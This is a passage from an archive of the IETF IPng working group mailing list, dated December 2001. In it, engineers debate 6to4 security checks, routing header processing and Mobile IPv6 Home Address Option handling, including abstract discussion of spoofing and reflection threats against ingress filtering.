directly (example: link-local > addresses). I am not seeing your scenario. Could you send a picture? > Why would a host have any reason to be 6to4 aware? I sure > would like to > know more of this. AFAICS that implementation wouldn't be > honouring RFC > 3056 definition of 6to4 host: > > an IPv6 host which happens to have at least one 6to4 address. > In all other respects it is a standard IPv6 host. The RFC 3056 context of a 6to4 host is one that receives an RA which contains a 6to4 format prefix. It is also possible that the host has no IPv6 router, but includes that function within itself. In the strict sense the functions are separate, but the fact that they are in the same box results in the case where a 6to4 host may have a 6to4 pseudo-interface. > That is, site-local and link-locals > would not be a > problem with tunneling. Link local is not to be forwarded off link in any case, and I have always believed that site-locals don't go out over the global tunnel interface, but there doesn't appear to be a specific statement about that in the current documents. Tony -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 09:48:53 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBHmrvU022318 for ; Tue, 11 Dec 2001 09:48:53 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBHmq0P022317 for ipng-dist; Tue, 11 Dec 2001 09:48:52 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBHmkvU022302; Tue, 11 Dec 2001 09:48:46 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id JAA20786; Tue, 11 Dec 2001 09:48:47 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id JAA20426; Tue, 11 Dec 2001 09:48:44 -0800 (PST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBBHmTE09684; Tue, 11 Dec 2001 19:48:29 +0200 Date: Tue, 11 Dec 2001 19:48:29 +0200 (EET) From: Pekka Savola To: Brian E Carpenter cc: Tony Hain , Sreeram Vankadari , , Subject: Re: 6to4 security [was Re: (ngtrans) RE: Directed broadcast in IPv6] In-Reply-To: <3C1638A5.DFA27DC2@hursley.ibm.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Tue, 11 Dec 2001, Brian E Carpenter wrote: > Pekka Savola wrote: > ... > > > > http://www.ietf.org/internet-drafts/draft-savola-ngtrans-6to4-security-00.txt > > > > > > (by the way, comments would be welcome ;-) > ... > > > > > Your discussion about what should not happen are already in RFC 3056 > > > security issues. > > > > Some are, some aren't. But the main point was, that RFC 3056 rules were a > > little abstract (and as a matter of fact, wrong in one sentence), so that > > they were basically unimplementable and rather non-understandable. This > > is noted in the introduction. > > There's no harm in an informational document making the RFC 3056 security > rules more explicit, although the details are certainly implementation > dependent. However, I can't find in your draft a clear reference to the > sentence in 3056 that you believe is wrong. It's not noted in the draft, but it was mentioned on ngtrans list. In security considerations: A possible plausibility check is whether the encapsulating IPv4 address is consistent with the encapsulated 2002:: address. If this check is applied, exceptions to it must be configured to admit traffic from relay routers (Section 5). The latter sentence makes no sense and is confusing, as the only packets coming from relay have the native source address, not 2002::/16, and destination need not be excepted if it is checked. I haven't checked all of SecConsiderations with a microscope, but that one struck my eye immediately. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 10:07:51 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBI7pvU022458 for ; Tue, 11 Dec 2001 10:07:51 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBI7pZs022457 for ipng-dist; Tue, 11 Dec 2001 10:07:51 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from bebop.France.Sun.COM (bebop.France.Sun.COM [129.157.174.15]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBI7kvU022450 for ; Tue, 11 Dec 2001 10:07:46 -0800 (PST) Received: from lillen (vpn133-11.EBay.Sun.COM [129.150.133.11]) by bebop.France.Sun.COM (8.10.2+Sun/8.9.3/ENSMAIL,v2.1p1) with SMTP id fBBI7Kq07135; Tue, 11 Dec 2001 19:07:20 +0100 (MET) Date: Tue, 11 Dec 2001 19:05:37 +0100 (CET) From: Erik Nordmark Reply-To: Erik Nordmark Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt To: Pekka Savola Cc: Erik Nordmark , "Jari T. Malinen" , ipng@sunroof.eng.sun.com In-Reply-To: "Your message with ID" Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk > However, I don't see this "distinguishability" as a MUST as long as: > > 1) MIPv6 MUST NOT require all processing of routing headers be enabled in > MN's Just MNs? Or hosts in general? It isn't obvious to me from reading RFC 2460 whether a host can drop packets with routing headers instead of resubmitting them for transmissing to the next hop. > 2) MIPv6 MUST require a special case for routing header processing that > is sufficiently secure. > > 3)IPv6 SHOULD/MUST state (given 1,2) that nodes SHOULD NOT/MUST NOT > enable routing header processing on hosts by default > > ( one could argue that currently, RFC2460 requires they must be processed > [due to MIPv6] -- not all share my interpretation on this ) There is other use of routing headers such as being able to remotely do a traceroute from the other end by source routing the packets through that host. > That is, if we can say quickly enough "routing headers cannot harm your > hosts!" they might not be taken as a security threat, and > distinguishability would not be required. > But really, IMO the tougher issue is how HAO will/should be handled. Do you see issues with only accepting packets with HAOpt when the receipient has a matching binding cache entry? That seems to be the simplest approach to me. Of course there are some details e.g. on how the MN discovers that the CN has garbage collected the BCE but I think an ICMP error can handle that (but I haven't thought enough about that). Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 10:27:35 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBIRYvU022481 for ; Tue, 11 Dec 2001 10:27:34 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBIRY2O022480 for ipng-dist; Tue, 11 Dec 2001 10:27:34 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBIRVvU022473; Tue, 11 Dec 2001 10:27:31 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA05132; Tue, 11 Dec 2001 10:27:32 -0800 (PST) Received: from internet-gateway2.zurich.ibm.com (internet-gateway2-x.zurich.ibm.com [195.212.119.243]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA28302; Tue, 11 Dec 2001 10:27:31 -0800 (PST) Received: from collon.zurich.ibm.com (collon.zurich.ibm.com [9.4.16.143]) by internet-gateway2.zurich.ibm.com (AIX4.3/8.9.3/8.8.8) with SMTP id TAA07204; Tue, 11 Dec 2001 19:27:29 +0100 Received: from gsine04.us.sine.ibm.com by collon.zurich.ibm.com (AIX 4.3/UCB 5.64/4.03) id AA23072 from ; Tue, 11 Dec 2001 19:27:25 +0100 Message-Id: <3C16500A.D61DBBEB@hursley.ibm.com> Date: Tue, 11 Dec 2001 19:27:22 +0100 From: Brian E Carpenter Organization: IBM X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U) X-Accept-Language: en,fr Mime-Version: 1.0 To: Pekka Savola Cc: Tony Hain , Sreeram Vankadari , ipng@sunroof.eng.sun.com, ngtrans@sunroof.eng.sun.com Subject: Re: 6to4 security [was Re: (ngtrans) RE: Directed broadcast in IPv6] References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka Savola wrote: > > On Tue, 11 Dec 2001, Brian E Carpenter wrote: > > Pekka Savola wrote: > > ... > > > > > http://www.ietf.org/internet-drafts/draft-savola-ngtrans-6to4-security-00.txt > > > > > > > > (by the way, comments would be welcome ;-) > > ... > > > > > > > Your discussion about what should not happen are already in RFC 3056 > > > > security issues. > > > > > > Some are, some aren't. But the main point was, that RFC 3056 rules were a > > > little abstract (and as a matter of fact, wrong in one sentence), so that > > > they were basically unimplementable and rather non-understandable. This > > > is noted in the introduction. > > > > There's no harm in an informational document making the RFC 3056 security > > rules more explicit, although the details are certainly implementation > > dependent. However, I can't find in your draft a clear reference to the > > sentence in 3056 that you believe is wrong. > > It's not noted in the draft, but it was mentioned on ngtrans list. > > In security considerations: > > A possible > plausibility check is whether the encapsulating IPv4 address is > consistent with the encapsulated 2002:: address. If this check is > applied, exceptions to it must be configured to admit traffic from > relay routers (Section 5). > > The latter sentence makes no sense and is confusing, as the only packets > coming from relay have the native source address, not 2002::/16, and > destination need not be excepted if it is checked. Sorry, I think you are wrong. If the source of a packet is a normal 6to4 router, the outer IPv4 source address must be consistent(*) with the V4ADDR of the source address in the embedded 2002:: packet. But if the source of the packet is a 6to4 relay, the inner source address may be a native IPv6 address that would fail the consistency check, so the check must be skipped. That's what the second sentence says. (*) consistent does not mean equal. The real problem with this check is that you need to know *all* the V4ADDR values that might be valid, in multihomed cases. Brian -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 10:28:56 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBISuvU022518 for ; Tue, 11 Dec 2001 10:28:56 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBISt9O022517 for ipng-dist; Tue, 11 Dec 2001 10:28:55 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBISpvU022510 for ; Tue, 11 Dec 2001 10:28:52 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA21503 for ; Tue, 11 Dec 2001 10:28:53 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA13344 for ; Tue, 11 Dec 2001 10:28:51 -0800 (PST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBBISWI03608; Tue, 11 Dec 2001 19:28:32 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id TAA11462; Tue, 11 Dec 2001 19:28:32 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBBISWD21808; Tue, 11 Dec 2001 19:28:32 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112111828.fBBISWD21808@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Pekka Savola cc: Erik Nordmark , "Jari T. Malinen" , ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-reply-to: Your message of Tue, 11 Dec 2001 17:57:31 +0200. Date: Tue, 11 Dec 2001 19:28:32 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: It frustrated me a great deal that IPv6-in-IPv4 tunneling with the same protocol number 41 could be used for various things: 1. configured tunneling 2. automatic tunneling 2.1 automatic tunneling with compatible addresses 2.2 6to4 2.3 ISATAP (more to come?) => oh, you forgot 6over4 ! But really, IMO the tougher issue is how HAO will/should be handled. => we can start for the today situation: HAO are not recognized/supported? Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 10:35:42 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBIZfvU022552 for ; Tue, 11 Dec 2001 10:35:42 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBIZfHK022551 for ipng-dist; Tue, 11 Dec 2001 10:35:41 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBIZcvU022544 for ; Tue, 11 Dec 2001 10:35:38 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA07543 for ; Tue, 11 Dec 2001 10:35:36 -0800 (PST) Received: from laposte.enst-bretagne.fr (laposte.enst-bretagne.fr [192.108.115.3]) by pheriche.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA11693 for ; Tue, 11 Dec 2001 11:35:35 -0700 (MST) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by laposte.enst-bretagne.fr (8.11.6/8.11.6) with ESMTP id fBBIZQI05292; Tue, 11 Dec 2001 19:35:26 +0100 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id TAA11712; Tue, 11 Dec 2001 19:35:26 +0100 (MET) Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.3/8.11.3) with ESMTP id fBBIZQD21852; Tue, 11 Dec 2001 19:35:26 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200112111835.fBBIZQD21852@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: Pekka Savola cc: ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-reply-to: Your message of Tue, 11 Dec 2001 18:04:49 +0200. Date: Tue, 11 Dec 2001 19:35:26 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: > => the state can be kept by the network access control system (which > cannot be stateless). And stateful firewalls are strictly more powerful > than stateless firewalls (this is not free of course). If the state is outsourced but changes rapidly, this is IMO a still stateful firewall.. => but state loss has less impact... and we cannot rely on the existance of AAA, I think. => if you have to take the responsability of what nodes inside your domain are doing, AAA existance is a reasonable assumption. > => I dislike all firewalls, but this problem is a threat against > ingress filtering so an ingress filtering solution is better. This is a problem that affects all filtering, not just ingress (for source address). => we speak about the source address hiding by reflection in DDoS using HAO, i.e. how to use HAO to foul the ingress filtering used as a protection against DDoS, don't we ? > PS: ingress filtering is not require, this is only a BCP. > There is no reason to be stricter. Filtering is a reality that is here to stay. In the hostile world, we cannot deny or ignore that. => my argument was about the word mandatory in your original message. Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 10:56:35 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBIuZvU022733 for ; Tue, 11 Dec 2001 10:56:35 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBIuZdX022732 for ipng-dist; Tue, 11 Dec 2001 10:56:35 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBIuSvU022717; Tue, 11 Dec 2001 10:56:28 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA18691; Tue, 11 Dec 2001 10:56:28 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id KAA17781; Tue, 11 Dec 2001 10:56:27 -0800 (PST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBBIu5L10208; Tue, 11 Dec 2001 20:56:05 +0200 Date: Tue, 11 Dec 2001 20:56:05 +0200 (EET) From: Pekka Savola To: Brian E Carpenter cc: Tony Hain , Sreeram Vankadari , , Subject: Re: 6to4 security [was Re: (ngtrans) RE: Directed broadcast in IPv6] In-Reply-To: <3C16500A.D61DBBEB@hursley.ibm.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Tue, 11 Dec 2001, Brian E Carpenter wrote: > Pekka Savola wrote: > > > > On Tue, 11 Dec 2001, Brian E Carpenter wrote: > > > Pekka Savola wrote: > > > ... > > > > > > http://www.ietf.org/internet-drafts/draft-savola-ngtrans-6to4-security-00.txt > > > > > > > > > > (by the way, comments would be welcome ;-) > > > ... > > > > > > > > > Your discussion about what should not happen are already in RFC 3056 > > > > > security issues. > > > > > > > > Some are, some aren't. But the main point was, that RFC 3056 rules were a > > > > little abstract (and as a matter of fact, wrong in one sentence), so that > > > > they were basically unimplementable and rather non-understandable. This > > > > is noted in the introduction. > > > > > > There's no harm in an informational document making the RFC 3056 security > > > rules more explicit, although the details are certainly implementation > > > dependent. However, I can't find in your draft a clear reference to the > > > sentence in 3056 that you believe is wrong. > > > > It's not noted in the draft, but it was mentioned on ngtrans list. > > > > In security considerations: > > > > A possible > > plausibility check is whether the encapsulating IPv4 address is > > consistent with the encapsulated 2002:: address. If this check is > > applied, exceptions to it must be configured to admit traffic from > > relay routers (Section 5). > > > > The latter sentence makes no sense and is confusing, as the only packets > > coming from relay have the native source address, not 2002::/16, and > > destination need not be excepted if it is checked. > > Sorry, I think you are wrong. If the source of a packet is a normal > 6to4 router, the outer IPv4 source address must be consistent(*) with the > V4ADDR of the source address in the embedded 2002:: packet. This is an issue with multihomed, but that does not affect discussion here. Anyway, multihomed IMO probably should select IPv4 address that matches matches the prefix. I see little reason to support the asymmetry (one 6to4 prefix, multiple IPv4 addresses). In multihoming scenario, this would be useful only when one connection fails, but then the return packets could not be delivered anyway. > But if the source of the packet is a 6to4 relay, the inner source address > may be a native IPv6 address that would fail the consistency check, > so the check must be skipped. That's what the second sentence says. The sentence refers to: whether the encapsulating IPv4 address is consistent with the encapsulated 2002:: address. 1) You cannot receive IPv6 packets from *relay* which have 2002::/16 prefix. If you do, someone is using 6to4 improperly. We agree on this. 2) How do you check that 3ffe:ffff::1 is consistant with an IPv4 address? You cannot check *consistancy* unless the addresses are of form 2002: and . Only 2002 and IPv4 can be compared. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 11:00:00 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBJ00vU022768 for ; Tue, 11 Dec 2001 11:00:00 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBIxx2v022767 for ipng-dist; Tue, 11 Dec 2001 10:59:59 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBIxuvU022760 for ; Tue, 11 Dec 2001 10:59:56 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA19961 for ; Tue, 11 Dec 2001 10:59:51 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id LAA11687 for ; Tue, 11 Dec 2001 11:59:50 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBBIxkU10226; Tue, 11 Dec 2001 20:59:46 +0200 Date: Tue, 11 Dec 2001 20:59:46 +0200 (EET) From: Pekka Savola To: Francis Dupont cc: Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-Reply-To: <200112111835.fBBIZQD21852@givry.rennes.enst-bretagne.fr> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Tue, 11 Dec 2001, Francis Dupont wrote: > > => I dislike all firewalls, but this problem is a threat against > > ingress filtering so an ingress filtering solution is better. > > This is a problem that affects all filtering, not just ingress (for source > address). > > => we speak about the source address hiding by reflection in DDoS using HAO, > i.e. how to use HAO to foul the ingress filtering used as a protection > against DDoS, don't we ? Routing Header also brings up issues that would need state in the firewall, in a similar fashion. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 11:13:17 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBJDHvU022849 for ; Tue, 11 Dec 2001 11:13:17 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBJDHpZ022848 for ipng-dist; Tue, 11 Dec 2001 11:13:17 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBJDEvU022841 for ; Tue, 11 Dec 2001 11:13:14 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id LAA18516 for ; Tue, 11 Dec 2001 11:13:14 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id MAA24366 for ; Tue, 11 Dec 2001 12:12:54 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBBJD7Z10344; Tue, 11 Dec 2001 21:13:07 +0200 Date: Tue, 11 Dec 2001 21:13:07 +0200 (EET) From: Pekka Savola To: Erik Nordmark cc: "Jari T. Malinen" , Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Tue, 11 Dec 2001, Erik Nordmark wrote: > > However, I don't see this "distinguishability" as a MUST as long as: > > > > 1) MIPv6 MUST NOT require all processing of routing headers be enabled in > > MN's > > Just MNs? Or hosts in general? MN's are the only IPv6 hosts that need it right now, AFAIR. All hosts would also be good, but I'm not sure if there's any _need_ to burden IPv6 implementations that don't support MIPv6 at this point. > It isn't obvious to me from reading RFC 2460 whether a host can drop packets > with routing headers instead of resubmitting them for transmissing to the > next hop. AFAICS, the behaviour when routing header processing is disabled is left undefined. Perhaps an IPv4 analogy would apply. > > 2) MIPv6 MUST require a special case for routing header processing that > > is sufficiently secure. > > > > 3)IPv6 SHOULD/MUST state (given 1,2) that nodes SHOULD NOT/MUST NOT > > enable routing header processing on hosts by default > > > > ( one could argue that currently, RFC2460 requires they must be processed > > [due to MIPv6] -- not all share my interpretation on this ) > > There is other use of routing headers such as being able to remotely > do a traceroute from the other end by source routing the packets > through that host. I'm not sure if that is all that useful, but you're right. There might be an exception (as is noted in RFC1122 IIRC) about "local routing headers". The check would be made stricter by e.g. requiring to-be-swapped address must equal the source address. If one is able to spoof the source address, this could be used for anonymous reflection by spoofing source address to be that of the final victim. Therefore I don't think this kind of use should be encouraged. > > That is, if we can say quickly enough "routing headers cannot harm your > > hosts!" they might not be taken as a security threat, and > > distinguishability would not be required. > > > But really, IMO the tougher issue is how HAO will/should be handled. > > Do you see issues with only accepting packets with HAOpt when the receipient > has a matching binding cache entry? > That seems to be the simplest approach to me. > > Of course there are some details e.g. on how the MN discovers that the CN has > garbage collected the BCE but I think an ICMP error can handle that (but > I haven't thought enough about that). I don't see security issues with that. I was worried about the same thing too -- as Michael Thomas also pointed out. This could lead to rather unpredictable behaviour. Getting this robust enough (packets discarded until ICMP is received to notify about this might not be enough) may be challenging. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue Dec 11 12:06:49 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBK6nvU023080 for ; Tue, 11 Dec 2001 12:06:49 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1/Submit) id fBBK6npF023079 for ipng-dist; Tue, 11 Dec 2001 12:06:49 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta1+Sun/8.12.2.Beta1) with ESMTP id fBBK6jvU023072 for ; Tue, 11 Dec 